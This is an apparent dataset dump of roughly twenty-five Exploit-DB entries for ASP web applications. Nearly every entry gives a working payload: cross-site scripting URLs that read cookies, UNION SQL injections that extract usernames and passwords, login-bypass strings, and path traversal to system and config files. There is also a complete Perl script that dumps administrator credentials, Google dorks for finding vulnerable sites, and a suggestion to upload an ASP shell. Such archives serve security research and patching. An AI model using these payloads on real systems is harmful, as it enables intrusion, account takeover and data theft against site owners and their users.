deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30298
Description: contentserver 5.6.2929 - '/errors/transaction.asp?msg' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2007-07-13
Author: RedTeam Pentesting

Exploit:
source: https://www.securityfocus.com/bid/24895/info
 
activeWeb contentserver is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Reports indicate that versions prior to contentserver 5.6.2964 are vulnerable to this issue.

http://www.example.com/errors/transaction.asp?msg=<script>alert('XSS')</script>
Exploit-DB #29293
Description: Contra Haber Sistemi 1.0 - 'Haber.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-16
Author: ShaFuck31

Exploit:
source: https://www.securityfocus.com/bid/21626/info

Contra Haber Sistemi is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/haber.asp?id=[SqL]
http://www.example.com/haber.asp?id=-1%20union%20select%20*%20from%20haberler%20where%20id=82
Exploit-DB #25839
Description: Cool Cafe Chat 1.2.1 - 'login.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-06-16
Author: Morning Wood

Exploit:
source: https://www.securityfocus.com/bid/13976/info

Cool Cafe Chat is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'login.asp' script before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Cool Cafe Chat 1.2.1 is reportedly vulnerable. 

The following proof of concept is available:
user: admin
password: 'or'
Exploit-DB #38655
Description: Corda .NET Redirector - 'redirector.corda' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2013-07-12
Author: Adam Willard

Exploit:
source: https://www.securityfocus.com/bid/61156/info

Corda .NET Redirector is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Corda .NET Redirector 7.3.11.6715 is vulnerable; other versions may also be affected. 

http://www.example.com/Corda/redirector.corda/? () _FILEhttp://<URL>/?<script>alert('Text')</script><iframe src=http://www.example1.com></iframe>@_TEXTDESCRIPTIONEN
Exploit-DB #38653
Description: Corda Highwire - 'Highwire.ashx' Full Path Disclosure
Type: webapps
Platform: asp
Date: 2013-07-12
Author: Adam Willard

Exploit:
source: https://www.securityfocus.com/bid/61152/info

Corda Highwire is prone to a path disclosure vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to obtain sensitive information that may lead to further attacks. 

http://www.example.com/highwire.ashx?url=../../
Exploit-DB #17081
Description: CosmoQuest - Authentication Bypass
Type: webapps
Platform: asp
Date: 2011-03-30
Author: Net.Edit0r

Exploit:
==========================================
CosmoQuest bypass login page Vulnerability
==========================================

[~]######################################### InformatioN

[~] Title     : CosmoQuest bypass login page Vulnerability
[~] Author    : Net.Edit0r
[~] Vendor or Software Link  : http://www.cosmoquest.info/
[~] Email     : Black.hat.tm@gmail.com
[~] Data  : 2011-03-29
[~] Google dork: "Powered by CosmoQuest"
[~] Category:  [Webapps]
[~] Tested on: [Linux /php]

[~]#########################################   ExploiT

[~] Vulnerable File :

AdminLogin.asp

[~] ExploiT         :

http://127.0.0.1/AdminLogin.asp

user: 'or''='

pass: 'or''='


[~] ######################################### ThankS To ...

[~] Black Hat Group Member  :

Net.Edit0r & DarkCoder & fronk & Amir-MaGic & H3x & Milad.C0nn3ct0r #BHG

[~] IRANIAN Young HackerZ # Persian Gulf

[~]#########################################   FinisH :D
Exploit-DB #26156
Description: CPaint 1.3 - xmlhttp Request Input Validation
Type: webapps
Platform: asp
Date: 2005-08-16
Author: Thor Larholm

Exploit:
source: https://www.securityfocus.com/bid/14577/info

CPAINT is prone to an input validation vulnerability. This issue occurs because the application fails to properly sanitize malicious scripts and requests from user-supplied input.

Successful exploitation of this vulnerability could lead to a compromise of the server running the affected application. Other attacks are also possible. 

calculator.asp?cpaint_function=addNumbers&cpaint_argument[]=1&cpaint_argument[]=2")%20%26%20eval("malicious code

http://someserver.com/cpaintfile.asp?cpaint_function=response.write&cpaint_argument[]=2")%20%26%20eval("malicious code
Exploit-DB #29155
Description: CreaDirectory 1.2 - 'addlisting.asp?cat' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-11-21
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21230/info
 
Creascripts creadirectory is prone to multiple input-validation vulnerabilities, inculding SQL-injection issues and a cross-site scripting issue, because the application fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
Version 1.2 is vulnerable; other versions may also be affected.

http://www.example.com/addlisting.asp?cat=[xss]
Exploit-DB #3767
Description: CreaDirectory 1.2 - 'error.asp?id' SQL Injection
Type: webapps
Platform: asp
Date: 2007-04-19
Author: CyberGhost

Exploit:
#Title  : CreaDirectory v1.2 Remote SQL Injection Vulnerability
#Author : CyberGhost
#Demo Page   : http://www.creadirectory.com
#Script Page : http://www.creascripts.com/creadirectory.asp

#Vuln.

#Username : /error.asp?id=-1+union+select+0,1,2,user_name,4,5,6,7,8,9,0,1,2,3,4,5+from+members
#Password : /error.asp?id=-1+union+select+0,1,2,ipassword,4,5,6,7,8,9,0,1,2,3,4,5+from+members

#Admin Login : /admin.asp

#Info : Username and Password in browser title !
====================================

Thanx : redLine - Hackinger - excellance - Liarhack - SaCReD SeeR - MaTRax - KinSize - BolivaR - kerem125 - by_emR3

And All TURKISH HACKERS !

# milw0rm.com [2007-04-19]
Exploit-DB #29154
Description: CreaDirectory 1.2 - 'search.asp?category' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-21
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21230/info

Creascripts creadirectory is prone to multiple input-validation vulnerabilities, inculding SQL-injection issues and a cross-site scripting issue, because the application fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 1.2 is vulnerable; other versions may also be affected.

http://www.example.com/search.asp?search=1&submit=Search&category='[sql]
Exploit-DB #29156
Description: CreaDirectory 1.2 - 'search.asp?search' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-11-21
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21230/info
  
Creascripts creadirectory is prone to multiple input-validation vulnerabilities, inculding SQL-injection issues and a cross-site scripting issue, because the application fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
Version 1.2 is vulnerable; other versions may also be affected.

http://www.example.com/search.asp?search=[xss]
Exploit-DB #29401
Description: CreateAuction - 'Cats.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-01-08
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21929/info

Createauction is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/[path]/cats.asp?catid=1%20%20and%201=convert(int,(select%20top%201%20username%2b'/'%2bpassword%20from%20users))--sp_password
Exploit-DB #6405
Description: Creator CMS 5.0 - 'sideid' SQL Injection
Type: webapps
Platform: asp
Date: 2008-09-09
Author: ThE X-HaCkEr

Exploit:
# Exploit : Creator CMS 5.0 Remote SQL Injection Vulnerability
#
# Vendor : www.cmind.dk
#
# Founded By : ThE X-HaCkEr From X9 Team ( ThE X-HaCkEr & dr.9)
#     
# Greetz To : tryag.cc & saudihack.com & hackteach.org all muslim
#
# Email : the-x-hacker[@]hotmail[.]fr
#
# Google D0rk : allinurl:index.asp?sideid=

POC : www.site.com/index.asp?sideid=[SQL]

SQL : 1+union+select+concat(username,0x3a,password),2,3+from+login/*

Example : http://www.xxx.dk/index.asp?sideid=28+union+select+concat(username,0x3a,password),2,3+from+login/*

You can upload an asp shell through file manager

Enjoy !!!

# milw0rm.com [2008-09-09]
Exploit-DB #47666
Description: Crystal Live HTTP Server 6.01 - Directory Traversal
Type: webapps
Platform: asp
Date: 2019-11-18
Author: numan türle

Exploit:
# Title: Crystal Live HTTP Server 6.01 - Directory Traversal
# Date of found: 2019-11-17
# Author: Numan Türle
# Vendor Homepage: https://www.genivia.com/
# Version : Crystal Quality 6.01.x.x
# Software Link : https://www.crystalrs.com/crystal-quality-introduction/


POC
---------
GET /../../../../../../../../../../../../windows/win.iniHTTP/1.1
Host: 12.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

Response
---------

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
Exploit-DB #8785
Description: Cute Editor ASP.NET - Remote File Disclosure
Type: webapps
Platform: asp
Date: 2009-05-26
Author: Securitylab.ir

Exploit:
 ######################### Securitylab.ir ########################
# Application Info:
# Name: Cute Editor
# Version: ASP.NET
# Website: http://cutesoft.net
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Remote File Download
# Risk: Medium
# Dork: inurl:CuteSoft_Client/CuteEditor
#===========================================================
# http://www.site.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config
#===========================================================
#################################################################
# For test:
# http://cuteeditor.51aspx.com
# http://ttgo.cc/company
# http://www.auditon.co.il
#################################################################
# Securitylab Security Research Team
###################################################################

# milw0rm.com [2009-05-26]
Exploit-DB #2963
Description: cwmExplorer 1.0 - 'show_file' Source Code Disclosure
Type: webapps
Platform: asp
Date: 2006-12-19
Author: ajann

Exploit:
*******************************************************************************************
# Title   :  cwmExplorer 1.0 (show_file) Source Code Disclosure Vulnerability
# Author  :  ajann
# Contact :  :(

*******************************************************************************************

[[ERROR]]]------------------------------------------------------
....
..
$datei = "dirs/".$d."/".$_GET[show_file];
....
..
[[ERROR]]]---------------------------------------------------------

Example:

//[path]/index.php?d=0&show_file=[file]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-19]
Exploit-DB #27816
Description: CyberBuild - 'browse0.htm?ProductIndex' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-05-03
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17829/info
   
CyberBuild is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/browse0.htm?ProductIndex=[XSS]
Exploit-DB #27814
Description: CyberBuild - 'browse0.htm?ProductIndex' SQL Injection
Type: webapps
Platform: asp
Date: 2006-05-03
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17829/info
 
CyberBuild is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/browse0.htm?ProductIndex=[SQL]
Exploit-DB #27815
Description: CyberBuild - 'login.asp?sessionid' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-05-03
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17829/info
  
CyberBuild is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/login.asp?SessionID=[XSS]
Exploit-DB #27813
Description: CyberBuild - 'login.asp?sessionid' SQL Injection
Type: webapps
Platform: asp
Date: 2006-05-03
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17829/info

CyberBuild is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/login.asp?SessionID=[SQL]
Exploit-DB #27817
Description: CyberBuild - 'result.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2006-05-03
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17829/info
    
CyberBuild is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
    
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/include/result.asp?debug=print&cols=3&linecolor=%23AAAAAA&menu=category&body=bodyblue&bold=bodyheading&hlcolor=%2388C4FF&bgcolor=%23E0FFE0&menucolor=%23E0FFE0&hdcolor=%23B0B0B0&idcolor=%23FFFFFF&header=bodywhite&rowcolor=[XSS]
http://www.example.com/include/result.asp?debug=print&cols=3&linec
olor=%23AAAAAA&menu=category&body=bodyblue&bold=bodyheading&hlcolor=%2388C4FF&bgcolor=%23E0FFE0&menucolor=%23E0FFE0&hdcolor=%23B0B0B0&idcolor=%23FFFFFF&header=bodywhite&rowcolor=%23E0FFE0&row=bodyblack&label=bodyblue&heading=[XSS]
Exploit-DB #34034
Description: cyberhost - 'default.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2010-05-22
Author: redst0rm

Exploit:
source: https://www.securityfocus.com/bid/40357/info

cyberhost is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/default.asp?gb=paketayrinti&id=18+union+select+0,1,2,3,4,5,6,7+from+uye
Exploit-DB #27161
Description: CyberShop Ultimate E-Commerce - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2006-02-02
Author: B3g0k

Exploit:
source: https://www.securityfocus.com/bid/16473/info

CyberShop Ultimate E-commerce is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/default.asp?gb=urun&id=18&ortak="<h1>Patriotic%20Hackers<h1>


http://www.example.com/default.asp?gb=kate&kat=<script>alert(document.cookie</script>&ortak=


http://www.example.com/default.asp?gb=kate&kat=<script>alert(document.title)</script>&ortak=


http://www.example.com/default.asp?gb=kate&kat=AnaKart&ortak="><script>alert(document.cookie)</script>
Exploit-DB #25925
Description: CyberStrong EShop 4.2 - '10browse.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-06-30
Author: aresu@bosen.net

Exploit:
source: https://www.securityfocus.com/bid/14112/info

CyberStrong eShop is prone to an SQL injection vulnerability. As a result, the attacker may modify the structure and logic of an SQL query that is made by the application. The attacker may accomplish this by passing malicious SQL syntax to the vulnerable '10browse.asp' script.

It is reported that the attacker may steal eShop authentication information. Other attacks may be possible depending on the capabilities of the underlying database and the nature of the affected query. 

http://www.example.com/eshop/10browse.asp?ProductCode='
Exploit-DB #25923
Description: CyberStrong eShop 4.2 - '10expand.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-06-30
Author: aresu@bosen.net

Exploit:
source: https://www.securityfocus.com/bid/14103/info

CyberStrong eShop is prone to an SQL injection vulnerability. As a result, the attacker may modify the structure and logic of an SQL query that is made by the application. The attacker may accomplish this by passing malicious SQL syntax to the vulnerable '10expand.asp' script.

It is reported that the attacker may steal eShop authentication information. Other attacks may be possible depending on the capabilities of the underlying database and the nature of the affected query.

http://www.example.com/eshop/10expand.asp?ProductCode='
Exploit-DB #25922
Description: CyberStrong EShop 4.2 - '20review.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-06-30
Author: aresu@bosen.net

Exploit:
source: https://www.securityfocus.com/bid/14101/info

CyberStrong eShop is prone to an SQL-injection vulnerability. As a result, the attacker may modify the structure and logic of an SQL query that is made by the application. The attacker may accomplish this by passing malicious SQL syntax to the vulnerable '20review.asp' script.

Reportedly, the attacker may steal eShop authentication information. Other attacks may be possible, depending on the capabilities of the underlying database and the nature of the affected query.

http://www.example.com/eshop/20Review.asp?ProductCode='
Exploit-DB #1569
Description: d2kBlog 1.0.3 - 'memName' SQL Injection
Type: webapps
Platform: asp
Date: 2006-03-09
Author: DevilBox

Exploit:
 #!/usr/bin/perl -w 
 # D2KBLOG SQL injection 
 # Discovered by : Farhad Koosha [ farhadkey [at} kapda.ir ]
 # Exploited by : devil_box [ devil_box [at} kapda.ir ]
 # member of : Kapda.ir - Security Science Researchers Institute of Iran (persianhacker.net)

require LWP::UserAgent;
require HTTP::Request;
print "\r\n\r\n=-=-=-==================================================================-=-=-=\r\n\r\n";
print "	KAPDA - Security Science Researchers Institute of Iran\r\n\r\n";
print "	PoC for D2KBLOG SQL injection bug - Administrator Password Extractor\r\n\r\n";
print "	Original Source : http://kapda.ir/advisory-287.html (persianhacker.net)\r\n\r\n";
print "\r\n=-=-=-==================================================================-=-=-=\r\n";

 if (@ARGV != 2) 
 { 
    print "	Usage: kapda_D2KBLOG_xpl.pl [Target Domain] [Vulnerable Page]\n\r\n"; 
    print "	ex: kapda_D2KBLOG_xpl.pl www.target.com /blog/profile.asp\n\r\n";
    exit (); 
 } 


my $ua = LWP::UserAgent->new(env_proxy => 1,keep_alive => 1,timeout => 30,);

my $Path = $ARGV[0];

my $Page = $ARGV[1];

my $URL = "http://".$Path.$Page;

print "|***| Connecting to ".$URL." ...\r\n";

$r = HTTP::Request->new(GET => $URL."?action=edit");

$r->header( "Cookie" =>$Path."=mem[CREDENTIAL_REDACTED]=&memName=<!--'UNION%20ALL%20select%201,1,1,'**stxt**|UserName|:|'%2bmem_name%2b'|-=-|Password|:|'%2bmem_password%2b'|**etxt**',1,1,1,1,1,1,1,1,'Discovered%20and%20coded%20by%20farhadkey%20from%20KAPDA.ir'%20from%20blog_member%20where%20mem_status='SupAdmin'%20or%20'1'='-->" );

$res = $ua->request($r);

print "|***| Connected !\r\n";

if ($res->is_success) {

	print "|***| Extracting Username and Password ...\r\n\r\n";

	my $results = $res->content; 

	while($results=~/\"\*\*stxt\*\*(.*?)\*\*etxt\*\*\"/ig){ print "-=-> $1 \r\n"; }

	print "\r\n	Exploit by Devil_Box\r\n		Discovery by Farhad koosha\r\n\r\n";

 } else {
	die "\r\n|***| ".$res->status_line;
 }

# milw0rm.com [2006-03-09]